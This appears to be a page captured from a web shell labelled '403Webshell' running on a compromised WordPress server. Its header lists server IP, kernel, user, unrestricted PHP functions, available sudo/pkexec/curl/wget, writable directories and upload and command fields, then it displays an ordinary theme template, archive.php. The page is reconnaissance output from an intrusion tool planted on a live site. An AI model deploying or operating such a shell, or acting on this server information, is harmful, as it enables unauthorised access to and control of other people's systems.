403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.68
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnew/wp-content/themes/smartadapt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnew/wp-content/themes/smartadapt/archive.php
<?php
/**
 * The template for displaying Archive pages.
 */

get_header(); ?>

<div id="content" class="<?php echo get_class_of_component('content', smartadapt_option( 'smartadapt_layout' )) ?>" role="main">
    <?php if (have_posts()) : ?>
    <header class="archive-header">
        <h1 class="archive-title"><?php
            if (is_day()) :
                printf(__('Daily Archives: %s', 'smartadapt'), '<span>' . get_the_date() . '</span>'); elseif (is_month()) :
                printf(__('Monthly Archives: %s', 'smartadapt'), '<span>' . get_the_date(_x('F Y', 'monthly archives date format', 'smartadapt')) . '</span>');
            elseif (is_year()) :
                printf(__('Yearly Archives: %s', 'smartadapt'), '<span>' . get_the_date(_x('Y', 'yearly archives date format', 'smartadapt')) . '</span>');
            else :
                _e('Archives', 'smartadapt');
            endif;
            ?></h1>
    </header><!-- .archive-header -->

    <?php
    /* Start the Loop */
    while (have_posts()) : the_post();

        /* Include the post format-specific template for the content. If you want to
                   * this in a child theme then include a file called called content-___.php
                   * (where ___ is the post format) and that will be used instead.
                   */
        get_template_part('content', 'loop');

    endwhile;

    smartadapt_content_nav('nav-below');
    ?>

    <?php else : ?>
    <?php get_template_part('content', 'none'); ?>
    <?php endif; ?>

</div><!-- #content -->
<?php
if(check_position_of_component('menu', 'right', smartadapt_option( 'smartadapt_layout' ))){
	get_template_part('section', 'menu');
}//if menu is one the right side
?>
</div><!-- #main -->

</div><!-- #page -->

<?php
//add sidebar on the right side
if(check_position_of_component('sidebar', 'right', smartadapt_option( 'smartadapt_layout' )))
	get_sidebar();
?>
</div><!-- #wrapper -->
<?php get_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit